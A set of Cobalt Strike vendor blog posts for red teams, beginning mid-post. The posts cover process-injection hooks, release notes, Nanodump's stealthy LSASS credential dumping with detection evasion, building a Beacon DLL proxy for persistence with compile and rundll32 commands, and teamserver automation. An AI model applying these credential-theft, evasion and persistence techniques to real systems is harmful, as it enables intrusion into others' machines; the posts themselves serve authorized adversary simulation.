  • Line 31 packs the arguments that the BOF is expecting.  In this example we are passing $3 (pid) as an integer, and $2 (dll) as binary data. 
  • Lines 33 reports the task to Beacon. 
  • Line 35 uses the beacon_inline_execute function to execute the BOF. 
  • Line 38 returns 1 to indicate the PROCESS_INJECT_EXPLICIT function was implemented. 

Next, load the Aggressor Script file into the Cobalt Strike client through the Colbalt Strike -> Script Manager interface.  Once the script is loaded you can execute the post exploitation commands defined in the table above and the command will now use this implementation. 

Load the Aggressor Script and Begin Using the Updated Hook

Next, load the Aggressor Script file into the Cobalt Strike client through the Cobalt Strike -> Script Manager interface.  Once the script is loaded you can execute the post exploitation commands defined in the table above and the command will now use this implementation. 

Example Using the keylogger Command

After loading the script, a command like keylogger will use the new hook.

keylogger command using the PROCESS_INJECT_EXPLICIT hook
Output in the script console when reading the BOF

References

Cobalt Strike 4.5: Fork&Run – you’re “history”

Cobalt Strike 4.5 is now available. This release sees new options for process injection, updates to the sleep mask and UDRL kits, evasion improvements and a command history update along with other, smaller changes.

Security Updates

Before getting into the details of the release, I just wanted to impress upon you how seriously we take product security. We dedicated a significant portion of this release to improving controls around product licensing. We are fully committed to improving the security of the product and will continue to make product security enhancements a priority in future releases.

Process Injection

Until now, Cobalt Strike’s only process injection option was the built-in fork&run technique. While this is good for stability, it limits OPSEC options. We have added two new Aggressor Script hooks (PROCESS_INJECT_SPAWN and PROCESS_INJECT_EXPLICIT) to allow you to define how the fork&run and explicit injection techniques are implemented when executing post exploitation commands. A new BOF along with an Aggressor Script function implements both of these new techniques. You will now have the option of using the built-in fork&run technique or creating your own process injection technique.

Example: The keylogger using a custom process injection technique written by @ajpc500

Command History

Since adding the reconnect button in the 4.4 release, the new number one change request relates to issues with command history. There was an outstanding issue whereby scrolling back through your command history and then running a new command would insert that command in the wrong place in the command history. Not only did we fix that, we also overhauled command history to make it much more usable.

We have added a “history” command that displays your command history. You can choose to display all commands in the command history (“history all”) or specify how many commands that you want to display (for example, “history 10”). Is that all? No! We’ve also made working with command history more Unix-like by adding support for bang (!) characters.

history command

“Max Retry” Processing

This release also sees the addition of a complementary strategy to the existing Host Rotation Strategy. The “max retry” strategy is available for HTTP, HTTPS and DNS Beacons and it allows you to tell a Beacon to exit after a specified failure count. As failure count crosses a threshold, the sleep time is adjusted to a specified value.

The strategy comes with a number of default values for exit and sleep thresholds but you will be able to add custom values with a new Aggressor hook (LISTENER_MAX_RETRY_STRATEGIES).

Max Retry Strategy

Sleep Mask Kit Updates

The Sleep Mask kit was introduced in Cobalt Strike 4.4. There are two changes to the sleep mask kit in this release. Firstly, following user feedback, we have increased available space from 289 to 769 bytes. Secondly, we have added support to the kit for masking heap memory.

User Defined Reflective Loader Kit Update

Like the Sleep Mask kit, the User Defined Reflective Loader kit was introduced in Cobalt Strike 4.4. Following user feedback, we have increased the reserved size in Beacon for a larger User Defined Reflective Loader. A new Aggressor hook (BEACON_DLL_SIZE) allows you to specify whether to reserve 5k (the current threshold) or 100k for your custom loader.

Other Changes

One final, small update to mention is that to save you a click, the x64 checkbox is now checked by default on all payload generation dialogs. Please be aware of this change so that you don’t rely on muscle memory when working with those dialogs and accidentally uncheck that checkbox!

x64 checked by default

Documentation Changes

Unrelated to this release, but still relevant, is a change to the documentation. Earlier this month we made some changes to the Cobalt Strike infrastructure. One of those changes was an overhaul of the Cobalt Strike website, and the manual is now searchable: https://cobaltstrike.com/support.

Please note that you may need to refresh your browser cache to see the new documentation.

The support manual is now searchable

We will be publishing follow-up blog posts that provide much more detail on most of these changes in the next few days, so please keep your eye on the blog for those updates.

To see a full list of what’s new in Cobalt Strike 4.5, please check out the release notes. Licensed users can run the version 4.4 update program to get version 4.5. If you have not yet updated to version 4.4, you will need download from the website. To purchase Cobalt Strike or ask about evaluation options, please contact us for more information.

Cobalt Strike infrastructure changes

We will be making some changes to the Cobalt Strike infrastructure in late November/early December. We are not anticipating any downtime but we wanted to make you aware of what is changing and when.

TLS certificate updates

The current TLS certificates for www.cobaltstrike.com and verify.cobaltstrike.com both expire on 6th December. The certificates will be updated on Monday November 29th. If you haven’t already done so, you will need to download the latest update program before that date.
The update program pins the TLS certificates for both www.cobaltstrike.com and verify.cobaltstrike.com and checks them during the update process. If the certificates do not match the ones that the update application is expecting then you will see a warning message about the server being untrusted.
The latest version of the update application (20210804) shipped with Cobalt Strike 4.4 in August and has been available for download since then. Simply download and extract the distribution package for your platform to get the latest update application.

download.cobaltstrike.com

We will be moving the download pages for Cobalt Strike away from www.cobaltstrike.com/download to download.cobaltstrike.com on Thursday December 2nd. This is a logistical change and the current www.cobaltstrike.com/download link will automatically redirect to download.cobaltstrike.com so you shouldn’t notice any difference. There is a small chance that any scripts to automate updates that you may have may run into issues due to the URI change, and if that’s the case then we apologize for the inconvenience.

TL;DR: Download the latest update package to avoid any update issues

Nanodump: A Red Team Approach to Minidumps

Motivation

It is known that dumping Windows credentials is a technique often utilized for everyday attacks by adversaries and, consequently, Red Teamers. This process has been out there for several years and is well documented by MITRE under the T1003.001 technique. Sometimes, when conducting a Red Team engagement, there may be some limitations when trying to go beyond the early detection of this technique to allow defenders to train complex manipulation and usage of the credentials.  

One of the options to overcome this limitation is to explicitly allow the execution of this technique. However, there is another way, which is both stealthier and more lightweight. The following article will dive into how it can be executed. 

Introduction 

ReactOS, is an interesting and valuable project for anyone interested in understanding the low-level code of a Windows-like OS. We found that starting with the less-resistant path and trying to compile minidump.c from ReactOS to be quite difficult. However, after carefully analyzing the minidump module from skelsec, we found information about the minidump file format. 

The minidump format is quite complex and has many structures, pointers, and sections. In order to keep things as simple as possible, we experimented with the minidump python module to remove and change several parts in order to understand if these were relevant. 

Streams 

A minidump is composed of multiple “streams” which are like sections that contain specific information. For example, ExceptionStream presumably contains information like the stack trace in case the minidump was created due to a crash. 

After testing with pypykatz we found that the only relevant streams were SystemInfoStream, ModuleListStream, and Memory64ListStream. This first finding simplified the process because limiting the number of streams reduced the processing that needed to be done. 

SystemInfoStream 

This stream has information about the Windows machine, and it is not related to LSASS itself. It has relevant information such as the Windows version and build number, but also less relevant fields such as the number of processors. 

We ended up setting all the fields that were not needed to NULL. This made the process of creating the minidump a lot simpler, as we were able to ignore irrelevant fields. 

ModuleListStream 

All of the DLLs LSASS loaded are listed in this stream. It is worth noting that, while this stream is important, for this exercise, it wasn’t necessary to include every single DLL.  

In fact, we were able to ignore most of them and kept only those that are relevant to mimikatz, such as kerberos.dll and wdigest.dll. This decision effectively made the size of the dump a lot smaller. 

Memory64ListStream 

The actual memory pages of the LSASS process can be found in this stream. However, it takes up a lot of space, so reducing its size was critical to reduce the overall dump size. We decided to ignore any page that met any of the following conditions: 

  • Page wasn’t committed 
  • Page marked as mapped 
  • Page protection equals PAGE_NOACCESS 
  • Page marked as PAGE_GUARD 

Ignoring all these pages did not break the analysis of mimikatz, but did effectively reduce the size of the dump. 

Final Size 

By taking out all the non-vital information from the dump we managed to reduce the dump from roughly 50MB down to 10MB. 

Obfuscation 

As explained earlier, another goal was to achieve some level of obfuscation. Given that the creation of the minidump is done programmatically, we had full control of the dump and thus could implement any obfuscation that we chose. 

We opted to corrupt the “magic bytes” (or signature) of the minidump file format, which is a simple, yet effective approach.  

Minidumps start with the string “PMDM” in big endian. Changing these magic bytes would make it more difficult to figure out if a block of memory is a minidump, and since this is at the very start of the file, the binary blob wouldn’t look like a minidump, not even at creation time. 

This modification did break mimikatz and pypykatz. We created a small bash post-dump script to restore the original format once the dump is on the tester’s machine. 

PID of LSASS 

To dump LSASS, you typically need to know the PID of the LSASS process. The action of listing all the running processes could be seen as an abnormal or suspicious activity. Running tasklist or even calling CreateToolhelp32Snapshot might be detected by advance security solutions. 

We decided to use the NtGetNextProcess syscall to loop over all the processes in the system until we found a process that had ‘lsass.exe’ loaded. This was a valid method to find the LSASS process and avoided having to go through the usual steps. 

Avoiding API calls 

Reducing the number of API calls was important for obvious reasons: userland hooks. The only Windows API call that nanodump calls is LookupPrivilegeValueW, which is used to enable SeDebugPrivilege. This privilege should already be enabled in most cases, but feel free to remove this call if you want to be even stealthier. Besides that, everything is done using syscalls to avoid userland hooks. 

Syscalls Support 

To use syscalls, we used SysWhispers2 so, there was no need to re-compile nanodump for every new version of Windows. We had to make a few changes to the code to avoid using global variables given that Beacon Object Files (BOF) do not support them. We also used InlineWhispers to build nanodump on Linux using Mingw. 

Fileless download 

We also wanted to have the possibility of downloading the dump using Beacon’s C2 channel without touching the disk. However, it can be written to a file if need be. 

No Beacon? No Problem 

As explained earlier, we initially started this project as part of our Red Team practice, allowing us to conduct complex threat actions. Sometimes we don’t need to go as far as deploying Beacon on each compromised machine, so we added the possibility to use the .EXE version of nanodump. The one limitation that exists for the EXE version is that you cannot use the fileless download feature, given that it relies on Cobalt Strike’s C2 channel for it. 

Conclusion 

While it was challenging creating a SYSCALL based minidump, it was also critical for many scenarios. Additionally, creating a malleable module capable of feeding the great mimikatz is a powerful and flexible approach. The idea of modularizing a software solution has been out there for many years and this context is even more important to improve the success and future updates facing strong and dynamic detection tools. 
 

Do it Yourself 

If you’re interested in using nanodump, we’ve posted the code to our Github.  

Credits 

Thanks to: 

  • Skelsec for his amazing work with minidump and pypykatz. 
  • freefirex from CS-Situational-Awareness-BOF at Trustedsec for many cool tricks for BOFs  
  • jthuraisamy for SysWhispers2 

Create a proxy DLL with artifact kit

DLL attacks (hijacking, proxying, etc) are a challenge defenders must face. They can be leveraged in a Red Team engagement to help measure these defenses. Have you used this technique? In this post, I’ll walk through an example of adding a DLL proxy to beacon.dll for use in a DLL Proxy attack.

What is a DLL Proxying?

To begin with, this is not a new technique. I’ve seen it used some, but not always understood in practice. Other DLL hijacking attacks tend to be used more often, but Red Teams can benefit by adding this technique to their toolbox.

DLL proxying is an attack that falls in the DLL hijacking category.

Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program.

MITRE ATT&CK defines this as Hijack Execution Flow: DLL Search Order Hijacking.

A common way this is abused is to find a process that loads a “ghost” DLL. This is a DLL that is called by the process, but doesn’t actually exist. The calling process ignores this and continues. An attacker can add their own DLL in place of this ghost DLL. This works great, but can be rare.

What if you could modify an existing DLL without breaking the application that depends on that functionality?

This is DLL proxying. It allows an attacker to hijack the execution flow of a process but keep the original functionality of the application. Let’s walk through the attack flow.

DLL Proxy Attack Flow Diagram

Let’s say some process uses math.dll to perform calculations. Someprocess.exe loads math.dll and makes calls to its exported functions as needed. This is why we use external libraries.

If we want to hijack this process, we could easily replace math.dll with something malicious, but this would break the application. We don’t want that. This may draw attention to what we are doing. We need to copy math.dll to original.dll. Replace math.dll with a version that will forward the the legitimate calls to the new original.dll. And finally, use math.dll to load whatever malicious function we want.

In order to do this we need…

  1. The ability to create and write files
  2. The ability to find a target DLL that is loaded by an application
  3. The ability to extract the exports from a target DLL
  4. The ability to create a DLL that will ‘proxy’ the original exports to a copy of the original DLL

The post is using one technique for DLL proxying to specifically show how to use artifact kit to create this proxy DLL. There are several projects that explore this concept. A quick search can yield a wealth of resources on the topic. One of particular interest is the DueDLLigence project. It is an interesting approach that uses a framework to easily allow the development malicious DLLs.

Let’s Start with a Simple DLL Proxy Example

Let’s walk through a simple example to help clear this up.

This example uses code that can be found here.

In this example we assume that the hello.dll is the DLL being call by our target process. It will become the target of our proxy attack. This is similar to math.dll in the diagram.

Steps to find, build, and use a proxy DLL

1) Understand the execution flow of a process to understand which DLLs are loaded.

We need to start by understanding which DLLs are loaded by a process. The sysinternals tool process explorer works great here.

Real World Tip

I won’t call out any vendor here. My examples simply use rundll32.exe as my ‘application’. Just consider rundll32.exe some real target (maybe a chat application) that uses hello.dll.

The AppData directory is a great place to find candidates for user level persistence. Unlike C:\Program Files, c:\users\USER\AppData is user controlled. Many applications are installed here. cough, cough, chat clients.

A quick tip on using process explorer is to filter out what you need before running. In this case, I only want to see Load Image from my target process.

Procmon Filter

To simulate an application starting up and making calls to its DLLs, I use:

rundll32.exe hello.dll, hello

to have rundll32 call the hello function.

rundll32 loads hello.dll and calls the hello function

In the process explorer output, we see that our application loads hello.dll

Procmon

Great, we found a candidate DLL in our target application.

Another option to search for targets is to use the DLL_Imports_BOF. This project allows you to search for target applications during an engagement.

This is a BOF to enumerate DLL files to-be-loaded by a given PE file. Depending on the number of arguments, this will allow an operator to either view a listing of anticipated imported DLL files, or to view the imported functions for an anticipated DLL.

No matter what you use, the goal is to understand what DLLs are in play and what exports those DLLs use.

2) Identify the DLL exports.

DLL exports are the functions that an external process can call to use that functionality. It is a core feature of a DLL.

Look at the exports of hello.dll:

If you are following along, compile hello.dll:

x86_64-w64-mingw32-gcc -m64 -c -Os hello.c -Wall -shared -masm=intel
x86_64-w64-mingw32-dllwrap -m64 --def hello.def hello.o -o hello.dll

There are several ways to get the exported function from a DLL.

I included a simple python script, get_exports.py, to extract the exports and format for use in a .def file.

python3 get_exports.py --target hello.dll
get_exports.py output

You can also use something like dumpbin from Visual Studio

dumpbin /exports hello.dll
dumpbin output

The point of this is to get a list of the legitimate exported functions from the target DLL. This will give us what we need to build our proxy.

3) Build the proxy.dll.

In this example, I’m writing a proxy in .C to be compiled with MinGW. This shows the process, but could be very different depending on how you build your DLL. No matter what you do, you will be generating a DLL that forward functions.

Add the exported functions to proxy.def:

proxy.def updated with the hello.dll functions

A module-definition or DEF file (*.def) is a text file containing one or more module statements that describe various attributes of a DLL. If you are not using the __declspec(dllexport) keyword to export the DLL’s functions, the DLL requires a DEF file.

https://docs.microsoft.com/en-us/cpp/build/exporting-from-a-dll-using-def-files?view=msvc-160

Let’s break down the export hello=original.hello @1:

This is creating the “hello” export for proxy.dll. Calls made to this function are forwarded to the hello function in original.dll. The @1 is the ordinal. (Ordinals are another way a function may be called. It does not always need to match, but can help if ordinals are used.)

proxy.c

proxy.c is a very basic DLL. It will run the payload function and if a remote target calls a remote function, it will proxy based on the exports set in proxy.def. The payload function is blocking. This is just a simple example. You should create a thread or use some other non-blocking method.

We are ready to compile proxy.dll

x86_64-w64-mingw32-gcc -m64 -c -Os  proxy.c -Wall -shared -masm=intel
x86_64-w64-mingw32-dllwrap -m64 --def proxy.def proxy.o -o proxy.dll

4) Move the files to the target.

To simulate a real attack you must:

  • rename the original dll (hello.dll) to original.dll or what you set in the proxy.def file.
  • rename proxy.dll to the original file name (hello.dll)

Output after moving and naming the files on the target system.

Directory of Y:\temp\proxydll

10/28/2021  01:53 PM    <DIR>          .
10/28/2021  01:37 PM    <DIR>          ..
10/28/2021  01:37 PM           280,185 hello.dll    <- This was proxy.dll
10/28/2021  01:23 PM           280,167 original.dll <- This was hello.dll

5) Test the proxy.

Let’s simulate some process following its normal process of loading hello.dll and calling the hello function by using rundll32.exe.

The following command acts more or less the same as an application starting, loading a DLL, and calling a function from that DLL.

rundll32 hello.dll, hello
The payload function from the proxy DLL
The hello function from the original DLL

We called the proxy DLL (hello.dll) using rundll32 as an example target for a DLL loading attack. It executed our payload function and the original function.

That’s it. There really isn’t much to this attack, but it can be very effective. A proxy DLL is just a DLL that proxies legitimate calls and runs your own payload. Proxy attacks allow an attacker to hijack execution flow but keep the original functionality of the application.

Let’s extend this to the Cobalt Strike Artifact Kit

Licensed users of Cobalt Strike have access to the artifact kit. This kit provide a way to modify several aspects of the .exe or .dll beacon payloads. Think of this as a beacon ‘loader’. The kit can be loaded by Cobalt Strike as an aggressor script to update how .exe or .dll payloads are built.

Now that we know the primitives from our example, we can easily update kit with the changes needed to convert beacon.dll into a proxy.


Modify the file src-main/dllmain.def by adding hello=original.hello @1 as an export option. This is the same as what was done in the example.


Build the kit using the build.sh script. By default, this will compile all kit techniques. Let it build them all. We will pick one to load.


Load the artifact kit aggressor script to tell Cobalt Strike to use the newly create template when building a payload. In this case we will use the ‘pipe’ technique. The aggressor script can be found in dist-pipe/artifact.cna after the build is complete.

Cobalt Strike -> Script Manager
Load -> dist-pipe/artifact.cna

Generate a Beacon DLL payload

Attacks -> Packages -> Windows Executable (S)

Listener: Choose Your listener
Output:   Windows DLL
x64:      X

Click Generate and save as hello.dll.

Remember, this is the proxy DLL. It will replace the target DLL and the the target DLL will be renamed to original.dll.

Modified version of artifact.cna to output messages to the script console when the artifact kit is used

Let’s take a look at this beacon DLL payload (hello.dll):

dumpbin /exports hello.dll
exports of hello.dll (proxy)

We see the DLL has the default exports for beacon.dll and the new forwarding export.


Let’s test as we did before by using rundll32 as the target process that we want to attack.

rundll32 hello.dll, hello
Received a new beacon

hello.dll runs the beacon payload, and the hello function call was successfully proxied.

At this point, we turned beacon.dll in a proxy.

What Next?

This example only shows how to make beacon a DLL proxy. The artifact kit is a way to customize beacon.exe or beacon.dll. It can be used to help bypass AV/EDR. Consider exploring the possibilities of using the kit. Or, forget the artifact kit altogether and write your own beacon loader as a proxy DLL.

Using rundll32 isn’t exciting, but the attack technique itself is a great method for persistence. Many applications are installed in

c:\users\USER\AppData

This directory is writable by the user (vs something like c:\program files). This means an attacker with control over a target can find a target process and create a proxy DLL for that target. Take a look at the application installed in AppData, you may find a nice target.

Defensive Considerations

A great preventative control for this attack is for applications to validate the DLLs it loads. If a rouge/untrusted DLL is used, the application will not allow it to execute. During the writing of this post, I tested by targeting a popular chat application. It used digital signatures to validate the loaded DLLs. This worked great, except the user was presented with a popup asking if they would like to run the “untrusted” code. Clicking OK allowed my payload to run (partial win?). Prevention is great, be we need to ensure we can detect attacks when it fails.

Do not allow user controlled applications to be installed in user controlled directories. Install applications in directories the user can use but not modify (i.e., C:\Program Files).

File integrity monitoring may help.

Fortunately, the payloads executed from this attack the same. The proxy DLL is just a loader. The payloads executed by this loader may be detected through the normal means of a robust security operations program.

References

Cobalt Strike Sleep Python Bridge

This project started after seeing how the user community tweaks and tunes Cobalt Strike. I was inspired by @BinaryFaultline and @Mcgigglez16 in their project https://github.com/emcghee/PayloadAutomation and blog post http://blog.redxorblue.com/2021/06/introducing-striker-and-payload.html. They created a clever way to interact with a teamserver without the GUI.

Before I get too far, I’ll touch on Aggressor scripting and the Sleep language. Remember that Cobalt Strike is a framework and is extensible by design using the Aggressor script language. It allows users to modify or control the framework with a script that is loaded through the GUI or headless client. Aggressor provides a great deal of flexibility, but the Sleep language at the heart of Aggressor is how these extensions must be written.

What is this Sleep-Python Bridge?

This project is an experiment on extending Cobalt Strike with python instead of Aggressor or Sleep.

NOTE:
This project is very much in BETA. The goal is to provide a playground for testing and is in no way an officially supported feature. Perhaps this could be something added in the future to the core product.

How does this work?

The heart of this bridge is a python implementation of a headless Cobalt Strike client. This is achieved by using the Aggressor Script Console, provided by agscript, as the engine. Agscript allows for headless interaction with Cobalt Strike. The “bridge” works by using python helper functions in sleepy.py to generate the needed Sleep commands expected by the agscript console. Instead of writing the Sleep functions, striker.py provides helper functions that abstract Sleep and allows the use of python. In other words, this is a python wrapper to the console provided by agscript.

Notable changes from the original project

Because the PayloadAutomation project inspired this, it started with much of the same code, but I wanted to tweak to use the components needed to act as an agscript wrapper. This included:

  • Renaming from Payload_Automation to sleep_python_bridge. This project is more than payload generation.
  • Changing from a PyPI library to local modules. This was done for testing and may be a good candidate for a python library after extensive testing.
  • Updating and adding helpers to match Aggressor versions.
  • Adding ability to load external script.

What can you do with this “bridge?”

In short, anything you can do with Aggressor, you can do with this bridge via python: extract data, make operation decisions, automate beacon tasks, etc.

The best way to show what can be done is with a few examples.

Examples

Log Tracker

Beacon logs are available at runtime in a teamserver or through the Beacon log files saved on the teamserver. The data is always there, but may not be presented in a way you would like. This is an example of log tracker that uses an HTML data grid to quickly view Beacon logs.

beaconlogtracker.py is a script that connects to a teamserver, extracts the running Beacon logs every 30 seconds, saves to beaconlogs.json, and displays in a searchable and sortable HTML data grid.

Beacon logs are always saved to the logs directory, but this is an alternate way to track the in memory logs with an alternate viewer. If the teamserver is restarted the in-memory logs are lost and you must refer to the logs stored in the logs directory on the teamserver. This script keeps in-memory logs synced to the file beaconlogs.json. This way you have a quick and easy way to visualize all data without digging through the logs directory even if Cobalt Strike is restarted.

Start the script by having it connect to your teamserver to sync logs every 30 seconds:

beaconlogtracker.py

Although the GUI is not needed, you can see the client logged on and that it provides feedback as it collects logs:

Log tracker event logs

Video Demo

This demo shows the HTML data grid view. It uses the beaconlogs.json file created by the log tracker script as its data source. The data grid allows for quick sorting or filtering or Beacon logs. The output from long commands is truncated and can be expanded. This could be a nice alternate view for a Red Team operator or a Red Team lead.

Demo of the HTML log viewer

Payload Generator

A feature often requested by Red Team operators is the ability to create payloads programmatically without the need for the Cobalt Strike GUI. The project referenced at the beginning of the blog did this with a payload generator. This was great, but there is a unique challenge. Aggressor provides several hooks to influence how a payload is built. These hooks are used by the various kits (i.e., artifact kit, sleep mask kit, or UDRL kit). They are normally used by loading an Aggressor Script through the GUI. This project was extended to allow the loading of external scripts. Without this, using this payload hooks would be difficult. This code could easily be extended to pass the payloads to external functions to add custom obfuscation, embed in a customer loader, or any other modification.

The payload generator script connects to the teamserver, loads the additional scripts, and creates payloads.

payloadgenerator.py

Using the event log for output, the payload generator script displays its progress as it loads the various scripts.

Event log output

To keep this somewhat modular, the payload generator script uses a base payload_scripts.cna file as a script loader. This points to all the modules that should be loaded.

payload_scripts.cna used as an ‘init’ script to load other modules

Beacon Grapher

The script beacongrapher.py connects to a teamserver, extracts Beacon metadata, and creates a JSON file that is used to display a javascript directed graph. The connection and extraction of data is functional, but the directed graph is a simple example. It could be refined to be more useful in a production environment.

The Beacon grapher script connects to the teamserver and extracts the Beacon metadata as a python object to save to JSON.

beacongrapher.py

Here’s an HTML directed graph view of the Beacon log:

directed graph view of beacons

Video Demo

Demo of the beacon graph

What next?

Take a look at the project on GitHub. https://github.com/cobalt-strike/sleep_python_bridge

I’m providing this as an idea. Feel free to take this and expand upon it. I only ask the your share your work or ideas. Perhaps we can make this an official part of the product at some point in the future.

Thanks to the Community

I want to give a thanks to the Cobalt Strike Community for all the great work and ideas with a special thanks to @BinaryFaultline and @Mcgigglez16 on their work in the project, Payload Automation – https://github.com/emcghee/PayloadAutomation.

How to Extend Your Reach with Cobalt Strike 

We’re often asked, “what does Cobalt Strike do?” In simple terms, Cobalt Strike is a post-exploitation framework for adversary simulations and Red Teaming to help measure your security operations program and incident response capabilities. Cobalt Strike provides a post-exploitation agent, Beacon, and covert channels to emulate a quiet long-term embedded actor in a network.  

If we as security testers and red teamers continue to test in the same ways during each engagement, our audience (i.e., the defensive side) will not get much value out of the exercises. It’s important to be nimble. Cobalt Strike provides substantial flexibility for users to change their behavior and adapt just as an adversary does. For example, Malleable C2 is a Command and Control language that lets you modify memory and network indicators to control how Beacon looks and feels on a network.  

Cobalt Strike was designed to be multiplayer. One of its foundational features is its ability to support for multiple users to access multiple servers and share sessions. Enabling participation from users with different styles and skillsets further varies behavior to enrich engagements.   

While there are also numerous built-in capabilities, one of which we’ll discuss below, they are limited to what the team adds to the tool. One of our favorite features of Cobalt Strike is its user developed modules, through which many of the built-in limits are overcome. In fact, users are encouraged to extend its capabilities with complementary tools and scripts to tailor the engagements to best meet the organization’s needs. We wanted to highlight a few ways we’ve recently seen Cobalt Strike users doing just that to conduct effective assessments.   

Interoperability with Core Impact 

Contrary to many perceptions, Cobalt Strike is actually not a penetration testing tool. As we mentioned earlier, we identify as a tool for post-exploitation adversary simulations and Red Team operations. However, we have recently begun offering interoperability with Core Impact, which is a penetration testing tool with features that align well with those of Cobalt Strike.  

Core Impact is typically used for exploitation and lateral movement and validating the attack paths often associated with a penetration test. Used by both in-house teams as well as third-party services, Core Impact offers capabilities for remote, local, and client-side exploitation. Impact also uses post-exploitation agents, which, while they don’t have a cool name like “Beacon,” are versatile in both their deployment and capabilities, including chaining and pivoting.   

While a previous blog dives deeper into the particulars, to quickly summarize, the interoperability piece comes in the form of session passing between both platforms. Those with both tools can deploy Beacon from within Core Impact. Additionally, users can spawn an Impact agent from within Cobalt Strike. If you have Cobalt Strike and would like to learn more, we recommend requesting a trial of Core Impact to try it out. 

Integration with Outflank’s RedELK Tool 

RedELK is an open-source tool that has been described by its creators as a “Red Team’s SIEM.” This highly usable tool tracks and sends Red Teams alerts about the activities of a Blue Team by creating a centralized hub for all traffic logs from redirectors to be sent and enriched.  Gaining visibility into the Blue Team’s movements enables Red Teams to make judicious choices about their next steps. These insights help Red Teams create a better learning experience and ensure Blue Teams get the most out of their engagements. 

Additionally, it also centralizes and enriches all operational logs from teamservers in order to provide a searchable history of the operation, which could be particularly helpful for longer and larger engagements. This all sounds like an ideal integration for Cobalt Strike users, right? While the sub-header is a fairly large spoiler, it is nonetheless very exciting that RedELK does fully support the Cobalt Strike framework.  

Community Kit Extensions  

We can’t say enough good things about the user community. So many of you have written first-rate tools and scripts that have further escalated the power of Cobalt Strike—we feel like an artist’s muse and the art the community creates is amazing. However, many of these extensions are tricky to find, so not everyone has had the opportunity to take advantage and learn from them. In order to highlight all of this hard work, we’ve created the Community Kit. This central repository showcases projects from the user community to ensure that they’re more easily discovered by fellow  security professionals. 

We encourage you to check it out to see the fantastic work of your peers which can help take raise the level of your next security engagement and may even inspire you to create and submit your own. Check back regularly as new submissions are coming in frequently.  

A Dynamic Framework  

Cobalt Strike was intentionally built as an adaptable framework so that users could continually change their behavior in an engagement. However, this flexibility has also enabled both expected and unexpected growth of the tool itself. Planned additions like the interoperability with Core Impact allows users to benefit from session passing, while unanticipated extensions like those in the community kit are equally welcome, as they enable users to truly make the tool their own. Ultimately, we’re excited to see such dedication to this tool from all angles, as it motivates us all to keep advancing Cobalt Strike to the next level so users can keep increasing the value of every engagement.   

Want to learn more about Core Impact? 

Get information on other ways Core Impact and Cobalt Strike complement one another for comprehensive infrastructure protection.